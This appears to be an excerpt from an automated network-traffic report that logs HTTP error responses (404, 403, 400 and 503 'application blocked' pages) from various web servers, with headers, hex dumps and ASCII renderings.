Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:39 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Mar 2024 11:38:40 GMTServer: Apache/2.4.6Content-Length: 221Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /cgi-bin/ViewLog.aspon this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:40 GMTServer: Apache/2.4.6Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sat, 02 Mar 2024 11:38:42 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Sat, 02 Mar 2024 11:38:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 38 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 19 9a e8 19 28 68 84 26 95 e6 95 94 6a 22 ab d5 07 d9 06 32 5d 1f ea 52 00 98 e9 56 70 b2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8d(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU(h&j"2]RVp0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sat, 02 Mar 2024 11:38:46 GMTContent-Type: text/htmlContent-Length: 2867Connection: keep-aliveETag: "6391baca-b33"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:46 GMTServer: Apache/2Content-Length: 315Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 02 Mar 2024 11:38:47 GMTContent-Type: text/html; charset=UTF-8Content-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 2007Date: Sat, 02 Mar 2024 11:38:47 GMTCache-Control:no-cache, must-revalidatePragma:no-cacheP3P:CP="NO P3P"
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 